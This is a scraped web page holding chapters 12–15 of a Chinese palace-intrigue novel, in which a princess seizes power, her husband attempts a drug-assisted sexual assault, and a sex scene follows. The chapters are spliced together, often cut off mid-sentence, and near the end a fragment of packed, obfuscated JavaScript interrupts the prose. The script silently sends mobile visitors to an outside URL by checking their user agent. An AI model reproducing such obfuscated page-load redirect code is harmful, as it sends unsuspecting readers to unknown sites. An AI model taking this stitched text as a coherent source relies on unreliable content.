“陈蕴,字适才,祖籍长安,年十七。祖父世袭建北侯陈甯,外祖父会稽望族徐家七郎徐硕,二十三举孝廉入京为仕,官至大司徒,年老致仕还乡,年前病逝。父太仆陈邦昌,母徐氏慧珠,独女。伯父光禄大夫陈邦兴,姑陈辰为裴开项元配,表兄裴孟珩、裴仲琊,裴孟珩鸿嘉十七年五岁夭折,陈辰元寿六年逝世。” 名门望族,世代簪缨,必定是知书达理、通晓人情的姑娘,裴开项可真会挑人。 我心里说不出是什么滋味。我知道这 12. 第 12 章 《有一个公主决定称帝》全本免费阅读 我回头瞥了她一眼,她立即噤声,唯唯诺诺:“还请殿下,听奴婢一言。” 我示意萱萱先去宣政殿告病假,自己和宋君若一同留在广明殿听听这个小女子到底要讲什么。 “肖溪,在温室殿当值不过一月吧?” 肖溪身形一抖:“是……奴婢原先是上林苑侍花的。一月前被陛下调用到温室殿服侍。” “我在太后祭典上也看见你了,能去祭典上侍奉祭祀的人都要由陛下亲自过目,我也看过那份名单,你是陛下后来加上去的。看来你服侍得陛下很舒心。” 肖溪道:“是陛下抬爱。” “他抬爱你,你又要怎么对他呢?” 肖溪胸膛上下起伏,像是下定了决心:“奴婢就是感念陛下厚爱,不想陛下犯错,所以才想对殿下如实相告,望殿下劝导陛下,让他不要做出错事。” “小小奴婢,怎知帝王何对何错?” “奴婢愚钝,只知此事兹事体大,因缘巧合得知,不敢擅专。殿下多谋善断,阖宫上下皆仰仗殿下才能安定有序,是以来此请求殿下裁夺。” 我看着肖溪,她眼观鼻鼻观心,低眉顺眼,温顺乖巧。可这人若是真乖巧,就不会大清早在广明殿外堵我了。 我笑了笑:“且说来听听吧。” “陛下与李思冲密谋,要将裴相杀死在温室殿。” 我心头一跳,与宋君若面面相觑,又质问:“杀死?一个十一岁的孩子,一个年近五十的阉人,去杀一个征战沙发多年的大将军?你让我怎么相信?” “用迷香。”肖溪双手将一个纸包奉上,宋君若上前一步接过,并不给我,直接打开闻了闻。 我一把夺过:“什么东西都要闻!” 宋君若有些恍惚地摇了摇头,撑着脑袋:“药劲有点大……” 我没好气地问道:“这到底是什么东西?” “阿芙蓉,奴婢从陛下房中偷出来的。陛下问内廷拿了那么一小瓶。”肖溪比划着一指高的瓶子。 阿芙蓉——西域、暹罗诸国每年进贡最多不过三百斤,说是有安神镇痛之效,多服用亦有飘飘升仙之感,极易上瘾。若是服用过多,死在梦中也不是没有可能。 我蹙眉看着肖溪:“你如何知晓此事?” “奴婢……”肖溪面颊微微泛红,欲言又止。 “你都豁出去来我广明殿了,还有什么好遮遮掩掩的。难道有些事情,你不说,我就不知道了吗?” 肖溪咬着下唇,抬起眼睛怯怯地看着我:“天降恩宠,让奴婢得陛下喜爱宠幸。一日夜间,奴婢半梦半醒,听见帐外陛下与李内侍交谈,说的便是此事。” 本以为李思冲只是一个挑拨离间的小人,不承想有如此大的野心与胆量,竟想杀了裴开项。只恨他心比天高,却不会审时度势,若是他再聪明点,未必不可能成为勤王功臣。 只是如今,只能用他的命来成我的事了。 - 太液池里的荷花开了,方才散朝,我便邀请裴开项来游船一叙。 惠风和畅,高阳不骄,红莲碧叶连天、画舫上丝竹悦耳,佳肴美馔陈列。裴开项姗姗来迟,走进画舫时还穿着朝服。久经沙场使他不论何时周身都带着凛冽迫人的威压与杀伐气。眼角的伤痕从眉尾延伸至鬓角,裴仲琊说那是他父亲第一次上战场时受的伤,险些被人劈开了脑袋。如今裴开项年近五旬,但身形依旧魁梧挺拔,谅是我七尺五的个子站他面前,都难免有些气弱——他这样的人到底是怎么养出裴仲琊这样的儿子的呢? 我起身向他行礼,毕恭毕敬:“裴相。” 裴开项拂袍落座,脱下官帽,眼睛扫视了一圈菜肴侍从,这才抬眼看我。 我朝他微微一笑,招呼萱萱小蛮给裴开项斟酒:“今日有事请教裴相,实在叨扰,本宫在此略备薄酒,还请裴相赏脸。萱萱端着的是西域进贡的葡萄佳酿,与我们齐国的酒不同,自带一股酸甜味;小蛮端着的是暹罗进贡的松香酒,用了当地特有的香料酿制而成,味甘,饮后留香。裴相想要喝哪一种?” 裴开项看着两坛酒,轻笑一声:“殿下的酒必定是琼浆玉液,只是微臣四处征战,喝惯了清汤寡水,怕是喝不下殿下的酒。” 我抬手拂退众人,起身走到裴开项身边各斟了两杯给他:“本宫殿里的酒自然是好酒,好酒不可辜负,自然得配懂它欣赏它,与之契合之人。裴相四处征伐,为大齐立下汗马功劳,必定也是博览天下,无所不知的,区区两杯酒,如何喝不得呢?” “就怕这外邦进贡的酒中有什么别的东西。” “若真是有别的东西,裴相又如何喝不出来?即便是喝下去了,又如何解决不了呢?” “这酒是陛下赏赐给殿下的?” “非也,是先皇特意留给本宫的,本宫窖藏多年一直不舍得拿出来。如今先皇太后逝世,陛下年幼,政务庞杂,全赖裴相一力支撑,本宫自然要代替陛下好好感谢裴相。日后内政外政,本宫都能为裴相、陛下出力一份,以解国忧。” 裴开项看着面前的酒爵,眉头微蹙,若有所思。我走近几步,组玉佩叮铃晃动,裴开项视线斜了斜,落在我的脸上。 我将酒爵推进几寸:“五王狼子野心,裴相也想师出有名吧?” 裴开项冷笑:“黄毛小儿,有没有他,这五王我都杀得!” “本宫也曾将希望寄托于陛下,奈何父王母后早逝,陛下心有郁结、疾病缠身,又遭奸人挑唆,对您猜忌颇多,实在辜负您一番苦心。本宫已命人彻查,找出奸人,还裴相一个公道清白。” 裴开项没说话,用锐利的眼神审视着我。 我端起另一酒爵,双手一敬:“陛下无知无能,难与裴相共谋大事,但本宫可以。裴相想要的,本宫都能给你。”我带着孤注一掷的勇气饮尽杯中酒,葡萄酒流入喉咙,腹中冰凉,脑子却烧得有些热。 裴开项望着我的脸,深潭一般的眼睛好似能看穿我的一切伪装与恐惧。心中发毛,又隐隐担忧——裴开项是最自负,最不屑与我们为伍的。他可能想过千百次如何废了我们,都不可能想一次如何辅佐我们。他手握重兵、党羽广布、氏族强盛,这样的人会答应我的结盟吗?还是将我的话当做痴人说梦抛出脑后,想起来时便和自己的幕僚们嘲笑调侃一番? 他盯着我,我亦看着他。他缓缓拿起酒爵饮尽,起身负手离开:“殿下的松香酒确是好酒,但有无回甘、功效如何,还需拿出更多的品类佐证,才能更让人信服啊。” “必不负裴相期望。”我走过去将他送至画舫外,“裴相慢走。” 裴开项顿住脚步:“若事成,殿下需答应我一件事。” “您请说。” “犬子与其陈家表妹成亲在即,还望殿下下旨赐婚,成全这桩美满婚事。” 阳光刺眼,日头晒得我有些发昏,摸了摸冰凉的手指,我笑道:“我还道是什么事,小事一桩。届时裴陈结亲,本宫也会备上一份厚礼祝福二位有情人。” - 夏日雷雨来势汹汹,早在傍晚时分便已乌云密布。广明殿的窗户关上又被吹开,烛火七倒八歪,骤然吹灭。小蛮再次起身去关窗,被我拦下:“该来的总是要来,就让它看着,好让我看清楚这宫里的一切。” 广明殿昏暗,纱帐帷幔像是无数双手在空中张牙舞爪。闪电陡然劈下,照亮了半边天,我仿佛看见一个仓皇的身影在雨中疯狂而踉跄地逃跑。雷声滚滚而来,震耳欲聋,我脑中嗡鸣。房梁柱子烛台的残影映照在墙壁上,黑影幢幢,形如鬼魅。 “抓到了吗!”我问道。 小蛮焦急地张望着,虹桥上 13. 第 13 章 《有一个公主决定称帝》全本免费阅读 兄弟姐妹应该是什么样的呢? 兄友弟恭,互敬互爱?可我从小到大,似乎从没有过这样的体会。 父亲的姬妾孩子很多,在我出生时,如今的鲁王姜融与楚王姜琰早已经会骑马了。他们虽非一母同胞,但自小一起长大,甚至比我与姜旻还要亲近。 姜融姜琰的母亲们虽为无名舞姬,但他们仍旧十分受父亲的喜爱,姜融曾一度是父亲最中意的继位人选,直至姜旻的出生。 母亲的到来,让这两个兄弟感受到前所未有的威胁,他们忽然意识到,即便他们再优秀再耀眼,终究是比不过祖宗家法的“嫡长子”继位。 他们不是,只有从我母亲——刘既嘉肚子里出来的孩子才有这个资格。 母亲二十六岁才生下我,而我是个女孩儿。 姜融姜琰好似得到了某种允准和宽恕——妹妹,一种无法争权夺位甚至能为他们带来利益的女人。即便我为楚王后所生,他们仍旧觉得我低他们一等。儿时的我无有玩伴,总喜欢跟在他们身后,喊着哥哥哥哥,带我骑马吧。 彼时,姜融十四,姜琰十二,而我只有七岁,身量不足马高。姜融坐在马上,犹如山一般巍峨宽广,他俯视着我,面上神情冷漠轻蔑,一挥鞭,扬起的劲风擦过我的脸,重重地甩在马尾。 马蹄溅起尘土与草籽,迷了我的眼睛,我只听见他大声喊着:“黄毛丫头,还想跟我骑马?当心我的马蹄踩碎你的头!” 这么些年我一直记着这句话,也一直记着当时的我哭着找到母亲,告诉她哥哥不喜欢我,不带我骑马。母亲却十分平静,牵着我的手来到楚国最大的马场,我站在高台上,看着远处奔腾呼啸的马儿,震动颤抖的大地,心中好似有一团气,将我的胸腔涨满,蓬勃无限。 “你想要哪一匹?”母亲问我。 “我想要大哥哥那样的。” 母亲笑了:“姜融的马是从宫廷中的马厩牵出来的,而这儿的马是大齐百名相马师一匹一匹挑出来的。你大哥哥那样的没有,但是比他好的有的是。” 我指着马群最前头一匹,毛发黝黑发亮,四肢健硕,遥遥领先:“我要那匹!我要跑得最快的,最好的!” 母亲应允了我,她抱着我,指着那些马群、那些马奴:“你看,这些都是你父亲的,也是母亲的,更是你的。你不必艳羡他人手中之物,因为你所拥有的比他们多得多,别人不给你,不教你,有的你就自己拿,没有的你就自己挣,不会的就自己学。不假于人,才能永远立于不败之地,何况你天生就拥有比他们更多更好的东西,明白吗?” 是我父母的,便是我的,别人不给我的,我就自己拿、自己挣、自己抢,总有一天会到我手里,而在我手里的也永远比他们要更多更好。 对姜融姜琰是如此,对姜旻……也是如此。 我从未见过姜旻用这种眼神看我——害怕的、憎恶的、震惊的、惶恐的,他必定是想不到自己的胞姐竟会联合他最最憎恨的人来逼宫,而那个人本应该也是她最憎恨的人。 “姜毓卿,你是不是疯了?!”黑夜阴沉,温室殿的烛台扫落一地,唯有几案上的几盏仍有微弱的光照着姜旻惊恐的侧脸。他面色苍白,眼中泪水横流,牙齿紧咬在一起却仍旧打颤:“你……你竟然勾结裴开项……你脑子是不是进水了!里面装的都是牛粪吗!姜毓卿!” 我不忍看他这副模样,这孩子长得还没有我高,明明只有十一岁。寻常人家孩子的十一岁,是田间阡陌抓蝉斗蛐的年纪,可他却在自己的寝殿里被我们吓哭了,还要装出一副镇定自若的模样来质问我们。 我瞥开眼:“没有什么勾结不勾结,陛下身边奸佞环伺,我们只是清君侧罢了。” “清君侧?”姜旻仿佛是听见了什么天大的笑话,他抖着手指着我身后的人,“真正该清的人是谁你不知道吗姜毓卿?是谁害死了我们的父母!是谁害死了我们的伯父!是谁让我们沦落成他的傀儡!你不知道吗!” 我感受到裴开项的视线落在我身上,我没有回头,镇定地看着姜旻:“伯父乃病逝,父亲也是积郁成疾,母亲……母亲难产而亡,临终托付裴相好好辅佐你,照顾我们。裴相是……肱骨忠臣。” 我不知道我是用怎样的语气念出这四个字的,“臣”字脱口,我浑身好似被冲去了力气,只一副身躯空空荡荡地悬着。 “李思冲假借先帝近臣之名,哄骗陛下听信其谗言,离间君臣之谊,致使超纲不振,罄竹难书,实数可恶。本宫将其斩杀,实为陛下、为朝廷除一大害!还请陛下明辨是非,切莫再被奸佞之言欺骗左右。” “你……你……”姜旻口不成言,“你疯了,姜毓卿你疯了!你到底想干什么!和裴开项联合,你有什么好处!还有你宋君若!”他目眦尽裂,“你那么厌恶裴开项,他还打过你,你难道忘了吗!你忘了吗!你还帮姜毓卿和他来害我!” 宋君若执剑立在一旁,面露不耐,却也没有说话。 姜旻见状,面露嘲讽与凄楚:“呵,我知道了,在你心里,只要是姜毓卿说的话你就听,你就是姜毓卿从小养到大的一条狗罢了。” “姜旻。”他不应该这样说宋君若,我缓步上前,低头看着这个与我一母同胞的亲弟弟,我曾拉过他稚嫩的手,把他抱在怀里亲他的脸,告诉他,姐姐会一直保护他。 我确实是在保护他,以我自己的方式——他若是再忤逆固执下去,我们两个都会没命,不是被五王杀死,就是被裴开项当做永远的傀儡。 但如今看来姜旻并不如此认为,他浑身发着抖,眼睛却没有一刻离开过我。他死死地盯着我:“你要杀了我吗?要杀了你的……亲弟弟吗?” 我抚上他冰凉的脸颊,替他擦去眼角的泪水:“姐姐怎么可能杀你?你什么事都没有做错,错的是李思冲,他利用你,欺骗你。你年纪小,身体也不好,分辨不出来是人之常情,所有人都不会怪你。姐姐和裴相,会帮你处理好一切,直至你长大。” “处理好……一切?”他愕然。 宋君若递上拟好的圣旨,我展开 14. 第 14 章 《有一个公主决定称帝》全本免费阅读 九岁那年,我第一次来到长安,来到未央宫。 母亲告诉我,从今往后,这里就是我的家。 未央宫好大啊,曾经我以为楚王宫就是天下最大最美丽的宫殿,直到我在未央宫迷了路,走了一天都绕不回原点。 父亲被裴开项拥立为新皇,将原来楚王宫的后妃王孙接到未央宫。我坐在四骈马车中,听着车铃颠簸中清脆的声响昏昏欲睡。母亲抱着姜旻,我枕在她的膝上,问母亲什么时候到我的宫殿。 母亲笑着说:“我们才刚进未央宫呐,还要走好久。” 我以为母亲骗我,一骨碌爬起来掀起帘子往外看——巍峨宫阙坐落在长安城北面最高的山丘上,宫殿高台耸立、鳞次栉比、雕梁画栋、玉阶垒筑、金瓦朱甍。美玉镶嵌、金银交错,门楣上、屋檐下、窗棂里、回廊间目之所及皆绚丽夺目。烟波浩渺、水光山色、禽鸟成群,生意盎然。其间飞阁、辇道、虹桥无数,连接着未央宫上千座宫殿,云雾一起,如至仙境,真真是一座琼楼玉宇,神仙天宫。 父亲赐广明殿为我寝宫,雍丘为我汤沐邑,自此我便被世人称为雍丘公主,在这未央宫生长到今日。 未央、未央,千秋万岁,长乐未央。母亲说,帝拱紫薇,以控天下,这未央宫是帝王的象征,是权力的象征,谁成为了这座宫殿的主人,谁就是大齐的主人。 犹记九岁那年,我乘兴夜游,绕开所有侍女宦官,在月光星辉下畅游这座属于我父亲的宫殿,高扬的屋顶犹如起翼振翅的鸟儿,扑棱着翅膀要飞出宫外。远处烛光点点,连点成线,掖庭令带着一群人高呼我的名字。 我玩心大起,拎着纱裙闪身躲进一座大殿。房梁悬在我的头顶,像触不可及的苍穹,几百根圆柱整齐排列,从大殿的头撑到大殿的尾,像女娲补天时所断鳌足。清冷明亮的月光自窗门的镂花中照射进来,萤火流星般洒在紫晶地面上,仿若星汉迢迢。我踏着浩渺星河,仰头看去——一把宽大庄严的龙椅正矗立在大殿正堂最上方。扶手的龙首在暗夜中迸发出耀目的金光。 我情不自禁,拾级而上,立于高台,回身望去。门扉掩映,却挡不住空空荡荡的大殿和层层叠叠的宫阙撞入我的眼帘,深夜的未央宫烛火明灭,好像是百姓人间的炊火灯台,他们或是秉烛读书,或是灯下缝补,或是生活做饭,或是围坐夜话。笑颜浸润在温暖的火光中,在我的眼前清晰又模糊。 我缓缓坐上龙椅,伸出手,学着父亲登基时的模样虚虚一抬:“平身——” 平身—— 平身—— 声音回荡在大殿中,一遍又一遍地向我自己演绎着。 “平身——” 群臣跪拜起身,珠帘轻颤,我一身玄衣坐于大殿之上,望着底下黑压压乌泱泱的大臣。彼时今日,我仍旧坐在同一个地方,说着同一句话。 不同的是,我不再是那个懵懂无知的小公主,这一切也不再是一场少女自我幻想的冒险游戏。 “陛下身体欠安,已移居麟趾殿修养,特命本宫与裴相协理主持朝政。诸位大臣有事便奏。” 堂下大臣面面相觑,都纷纷望向裴开项,看他的眼色。 裴开项上前几步,仿佛今日是最寻常不过的一日,执笏拱手:“五王之事已在朝堂上商讨多日,不必微臣多言,殿下也已心知肚明。陛下既将诸事交由殿下,还请殿下熟思审处,早下定夺。” “五王之事,我已与陛下商定。”我将圣旨递出珠帘,萱萱接过在群臣面前展开,“若是五王异动,即可征讨。如今应当未雨绸缪,粮草、兵马、将帅人选皆应早做打算,还请诸位建言献策,多多益善。” “臣以为,大将军应当由裴相亲自担任!试问如今满朝文武,有谁的战功能与裴相相较?裴相智计无双,必定能将五王斩于马下!”田议慷慨陈词。 我只觉得好笑,所幸珠帘遮住了我的面容,不然公主嘲笑自己的驸马,指不定又要被群臣嚼几日舌根。 我稳稳嗓子:“裴相十八岁投笔从戎,北征阿勒奴禺戎,西镇西域,屡立战功,这天下无人不知裴相之威名。然裴相如今并非只是将帅,更是大齐的丞相,内外兼治,朝政离不开裴相半分,我看这人选……还需得斟酌。” 卢翙卢太仆朝我点点头,我望了他一眼,继续说下去:“不如还是裴相您说吧,举贤不避亲,裴家素来人才辈出,若是有可用之才亦可举荐,本宫必定重用。” “臣闻裴相有一侄子名为裴林琅,二十有二,为羽林军五载,曾于河西平匪有功,仅带一百人便解决了两山三千匪患,颇有当年裴相之风采。此人孔武有力,聪慧过人,殿下可以一见。”卢翙说完便退下。 我看向裴开项:“裴相如何看?” “侄儿顽劣愚钝,是卢太仆过誉了。殿下若是真想用他,臣也定当竭尽全力教导磨炼,让他不负众望。” “好。五王之事非同小可,如今就请裴相总领此事,裴林琅辅佐,军政事务皆由裴相而出。”我说道,”如今还有一事,本宫思索再三,还是要请诸位一同商议。孙子有云,上伐其谋,中伐其交,下伐其兵。如今北边正在修长城抵御阿勒奴,三年前南方各郡又屡遭涝灾收成不好,百姓日子不好过,大动干戈,恐劳民伤财,出兵乃是下下策,本宫心中有一计,还请诸位定夺。 “楚王鲁王乃本宫兄长,广陵王更是本宫叔父又是明帝嫡孙,二人身份皆是尊贵,他们如今能够联合起来谋反,但这皇位是不可能同时分给三个人的。如今看似铁板一块,殊不知背地里明争暗斗你死我活。若是能够从中挑拨瓦解,那便是不战而屈人之兵,于国于民皆是有利。只是这人选……诸位有什么好的建议吗?” 说客难当,古有纵横家苏秦张仪合纵连横,口吐莲花搅弄天下风云,而今我们当中又用谁有这样的能力呢? 众臣相顾无言,却又齐齐看向同一个地方——那不是我要的答案。 裴仲琊站了出来,长身玉立,袀玄挺括,广袖当风,腰佩绶带,头戴长冠,眼眸如镜湖深潭,望着我,步履沉稳地向我走来:“臣愿往。” 我看了一眼裴开项,只见他眼皮一耷,目露不悦,声音生冷:“你自由身体不适,还是不要远行为好。大齐人才辈出,总有人能代你去。” “殿下。”裴仲琊双手高举玉笏,眼睛定定地瞧着我,像是能够穿透珠帘,“臣愿往,还请殿下允准。” “裴仲琊——”裴开项似乎已经忍耐到了极限。 我清了清嗓子:“裴御史博古通今,多谋善断。人才难得,更要倍加珍惜才是。裴御史身子欠佳,又成亲在即,此事……还是容后再议。” “成亲?我……” “陈邦昌!”我朗声喊道,“本宫早就听闻裴陈二家联姻之事,良缘结良配,本宫今日便赐婚裴仲琊与陈蕴二人,愿他们佳偶天成、百年好合。” 陈邦昌被忽如其来的懿旨砸得晕头转向,赶忙上前:“是……是,多谢殿下赐婚。” 自己准女婿的前未婚妻给自己的女儿赐婚,真是百年未有之奇谈,也得亏陈邦昌沉得住气,没有半分异样。 “表兄表妹亲上加亲,这样的好女婿,陈卿要好好珍惜啊。” 陈邦昌叩拜:“臣谨记,多谢殿下。” 我不敢去看裴仲琊的神情,他没有说话,我便愈加有些惶恐紧张,目光移向裴开项——他很满意。 - 早朝终于散了,全身筋骨好似被抽空,我倚在萱萱身上走上步辇,靠着凭几又睡了一觉。半梦半醒间,有人将我抱到了榻上。 “阿若,你还没走?”我没有睁眼,软骨头一般往被褥枕头上一躺。 宋君若替我脱去丝履,又探身过来摘我头上的首饰,将东西递给萱萱后,顺势坐了下来,朝我靠了靠:“姐姐,你要出兵?” “嗯……” “大将军和骠骑将军都是他们裴家的人,不担心?” 我意识模糊:“裴 15. 第 15 章 自从姜旻被我和裴开项关进麟趾殿后,我就再没有见过他。小蛮时常替我去看他,回来禀报说陛下的病又重了,所幸有肖溪在,将陛下照顾得很好。 “这个肖溪……”我欲言又止,“算了,他喜欢就留着吧,左右不过是个小宫女,成不了什么大气候。但是药一定要每日送去,让掖庭令看着她喝下去。” 小蛮领命。 “阿旻他……他有说过什么话吗?” 小蛮掩眸,有些不敢讲。 我看了她一眼,摆摆手便让她下去了。 阿旻,终究还是怨我的。与自己一母同胞的姐姐竟然和仇敌联合起来软禁了自己,即便是寻常人都难以承受,何况他为一国之君。 我不愿再去想,拿起奏疏来看,眼前的字杂乱无章,不像是字倒像是无数根蚯蚓在爬。我撂下竹简,对萱萱说道:“你让少府再拨些东西麟趾殿,一定要最好的,多多益善。连着肖溪那份按照我的规格来,都给他们送过去——等等!慢慢送,不要一下子都送了,他会扔出来的。” 萱萱应声出门,不过多时又走了进来,手里捧着一大盒东西,面露难色:“驸马又送东西来了,现在还在门口候着呢。” “让他走!”烦死了。 “奴婢说了,可驸马……不走,说有件事一定要同您商议。” “他一个闲散大夫有什么事好跟我商议的,嘴巴里讲的话还没鸡打鸣有用。”我心烦意乱,“拿了什么东西来?我看看。” 萱萱打开盒子,里头是组玉佩和衣裳,还用一个小盒子装了几十颗宝塔香,味道浓郁芬芳。 我盖上盖子,推到一边,瘪瘪嘴:“最近吃错药了吧,老是往我广明殿跑。我在宫中住了快一年了,除了上早朝什么时候来过?温香软玉享不尽,跑来我这儿吃冷脸……有问题。” “驸马——驸马——殿下还没有回话,您不能……” “我有什么不能?我与泱泱夫妻一体,我想见她难道还要过五关斩六将,一道门槛一道门槛的进去不成?” 泱泱?泱泱也是他配叫的?我恨不得将他的舌头牙齿拔出来里三层外三成狠狠地刷一遍,叫他以后再也不敢口出狂言! “泱泱!”田议笑着大阔步走进广明殿,眼看着就要走到我面前。我大声道:“驸马爷来得真不巧,本宫正要出门呢。”说罢,提起裙子就要往外走。 田议一把抓住我的手腕,我瞬间如同被蛇咬了一口般,抽手挣脱,可他却不让我动分毫。要挣脱田议这样手无缚鸡之力的人,与我而言简直易如反掌,但太难看了,会把仅有的那一层皮都撕得体无完肤。 我强忍着不适,挤出一个笑容问道:“驸马爷有事吗?” 田议拉着我坐到几案边上,又是给我倒水又是递点心,好似我们真是什么恩爱夫妻:“你的生辰快到了,去年没能好好过,今年我想着给你大办一场!” 去年的生辰……父亲暴毙,母亲与裴开项争斗险胜,阿旻初登基为帝,一切都是如履薄冰,谁还有心情过生辰?他可真好意思提。 “不过就是生辰,也不逢五逢十,没什么好办的。” “要办,今年更是要大大操办!于前殿遍邀群臣,让万民朝贺!” 我蹙蹙眉:“不必。” 田议凑近几分,广袖垂落在我脚边,贴着只着云袜的脚背,我不由得瑟缩了一下。他握住我的手,轻声道:“殿下如今替陛下临朝听政,事事妥帖,底下的人都不约而同得喊您作‘卿主’。您如今在他们眼中,是未央宫的主人了。这主人自然有天子气!天子什么样您就能够是什么样!”手背被摩挲着,像是什么毛虫往我身上爬,胃里抽筋,我连忙将手抽出来藏在袖子底下拼命擦拭。 我算是知道他为何而来了,冷哼一声:“天子气?我倒是不知道什么叫天子气,田大夫看来很是了解,不如跟我讲讲,陛下仍在,我身上的天子气是怎么样的?” 田议想来没猜到自己的马屁拍在了马蹄上,被我这匹野马尥蹶子踹得头昏脑涨:“这……这……我……” “驸马若是闲着没事,与其在这儿说什么天子气,倒不如陪你的兄长好好算算账。田租税赋的文书已经是第四稿了,还是没有将这笔账算清楚。等什么时候算清楚了,拿着新的文书再来找我讨论天子气吧。”我拨出三把竹简扔给他,“带回去,让田诠重写了给我。萱萱,送驸马出宫!” 貌合神离的夫妻很多,我们就是其中一对。嫁娶皆不由己,裴家需要一个人来制衡我,田家需要一位公主巩固权势,我需要安抚裴开项让他知道我是个听话的王孙,这才有了我们啼笑皆非的婚姻。田议不是个自讨没趣的人,我也不是个委曲求全的人,场面上能装则装,背地里十天半月不见面,无意撞见都还要思量一下到底该叫对方什么。 他不管我,我不管他,半年来相处还算融洽。 我本以为他今日发癔症过后便会会去,谁承想我在外面转了一圈晚上回寝殿他仍坐在花苑的亭子里品茗等我。 真是要疯了! “驸马爷没走过?”我问小蛮。 小蛮为难地点点头:“我让他回去了……他就是不走。” “中邪了吧?”绕也绕不开,索性直接走过去面对他,“宫门就要下钥了,驸马爷还不回田府吗?” 田议放下手中燃香的手,站起来笑说道:“今日就是来陪殿下的,已经叫车夫回去了。” 他什么意思?陪我?要留宿?天大的笑话,我这广明殿难道是随便什么阿猫阿狗都能住进来的吗? “都怪我说话蠢,今早惹怒了殿下,田议在此向殿下赔罪,还请殿下莫怪。”他温言细语、毕恭毕敬,我倒有些不好骂他了。 “我今晚还要处理公务,没什么需要作陪的,驸马还是回去吧。小蛮,叫了养车送驸马回府。”我走近殿中,谁承想田议竟跟了上来。 他亦步亦趋:“不必麻烦殿下,我已经同父亲都说好了,今日不回去。殿下,自我们成亲后便鲜少团聚,您也一直住在未央宫中。夫妻聚少离多终究不是长久之事,从今后,我便在宫中陪您吧。” 他放下手中的香炉,朝我扇着气味:“这是身毒商人带来的新香,有安神宁心之效,您闻闻。” 天色愈加暗淡,侍女们点燃广明殿的烛台后退下。黑曜石地面衬着烛光点点,我端坐堂上批着奏疏,有些昏昏欲睡。田议坐在我右前方,时不时地抬眼看我笑一下,好似真有多温情。我克制住将他丢出去的心,按揉着太阳穴:“萱萱,去拿一碗醒神汤来。” 萱萱放下替我扇风的手出了门,田议又招呼小蛮道:“再去给殿下拿碗冰蔗汁。” 小蛮不悦地瞥了眼田议,看向我。我点点头让她去,她这才走出门。 夏夜静谧总是容易犯困,我手支着脑袋,神思越来越沉,越来越沉,脖子像吊着一颗重石,怎么也抬不起来。肩头忽然变得清凉,热气拂面,有什么东西湿湿的贴了上来。我一巴掌打开,想逃离眼睛却睁不开,恍惚间听见一人急切地声音:“我们生个孩子……殿下,我们生个孩子……” “滚!”我努力睁开眼睛,神思混沌,手脚无力。几案旁的熏香仍旧袅袅腾烟,我一掌将它拂下,香灰散落一地,红色的火星将地毯烧出几个小洞。 “你……田议你这个卑鄙无耻小人!” 我无力的抗疫根本对田议造不成任何打击,他一手抓着我的手腕,一手托起我的腰,俯身在我耳边:“卑鄙无耻?姜毓卿,到底是谁卑鄙无耻?我们是夫妻,行房事是天经地义,你逼得自己的丈夫用情香难道不是你的失职吗?敢问从古至今,有你这样的妇人和妻子吗?你也别装得多么的贞洁烈妇,你和裴仲琊那些腌臜事别人不知道难道我还不知道?反正你已经跟他睡过千百遍了,怎么我一次都不行?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848792|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我随手抓住镇纸往他头上狠狠砸去,田议避闪不及,额角磕出一个大血口,鲜血顺着面颊留下来,眼神更加狰狞恐怖。 “你还想跟裴仲琊比?”我冷笑,“你连他一根手指头都比不上!” 田议目眦尽裂,抬手就要将我的衣袍撕碎。 咚!!! 漏刻上的铜杵在田议的脑袋上敲出巨响,又飞弹出去,滚落一旁。 裴仲琊将两碗汤水放在地上,一步一步走了过来。 田议惶恐地从我身上爬起来,也顾不得满头伤痕,踉踉跄跄地要跑出去。 “田大夫。”裴仲琊声音冷得像三九寒冰,“胆子够大的啊。” 田议身躯一抖,迟疑回身:“我……我……我与殿下是正头夫妻!” “正头夫妻?”裴仲琊冷笑,“正头夫妻向来郎情妾意,你那一头血又算怎么回事?” “我……我……”田议艰难地支撑着自己的身子,“就算我不能,难你也不……”他盯着裴仲琊,欲言又止,“不……不……我,我下次再也不敢了!” 裴仲琊没有理会他。他弯腰将我抱上床榻,摸了摸我的脸:“没事了,你别怕。” “你……你不能……”田议站在外头,妄图拾起一点尊严。 裴仲琊没有回头,只是轻蔑一笑,语气轻松而嘲讽:“我不能什么?是你说了算还是殿下说算?这事儿只要是殿下允准,那我就可以。你就算知道又怎样,你敢说出去吗?” 田议倒吸一口气没能回上来,他惨淡的身影在昏暗的烛光下发着抖。 “滚。”裴仲琊命令道。 大殿的门被关上,偌大的广明殿只余下我们二人。 他的手指微凉,轻轻摩挲过我的下颌和脖颈,停留在锁骨上来回逡巡。暖热温柔的双唇覆下来,蜻蜓点水般稳过眉心、鼻子、嘴唇,于耳后流连忘返。 他太熟悉我的身体了,随意的抚摸都能惹得我心神荡漾。衣袍褪下,他的头发垂落耳侧,像一只小猫在我脸上蹭啊蹭。 “他弄疼你了吗?”裴仲琊按住我肩头的泛红,“我给你揉揉。” 被撩拨得神志不清,我双手攀住他的脖子将他拉进几寸,贴上熟悉的唇瓣,我呢喃道:“不疼,你一碰就不疼了。” 夜晚中,他轻笑一声,低沉暧昧。 帐影摇晃,不知是夜风吹动烛台还是帘帐。知了在黑暗中更加肆无忌惮,仿若无人地叫着,叫着叫着却又走了调。 我俯视着裴仲琊,撩起他一撮秀发在指尖绕了一圈又一圈。 仿佛置身游船,风吹起一层层涟漪,游船上下颠簸。身无所依凭,我叫他扶着我。 裴仲琊很听话。 那浪潮似乎来得更加猛烈,池水荡漾,溅出些许湿了我的脚踝。 我头晕目眩,枕在裴仲琊的身上。 咚咚咚——咚咚咚—— 他心跳的好快。 “你心跳的好快。”他说道。 “是你的。”我推给他,平息着自己的呼吸。 裴仲琊闷声一笑,揽住我的肩头,在我嘴角落下一个炙热的吻。我侧侧头,却被他一把按住压到在床上,唇舌相碰,有种肆意掠夺地蛮横与凶狠。 世人都道他裴仲琊是君子如玉,天底下再没有比他脾气更好的人了。 可只有我知道,他凶得很。 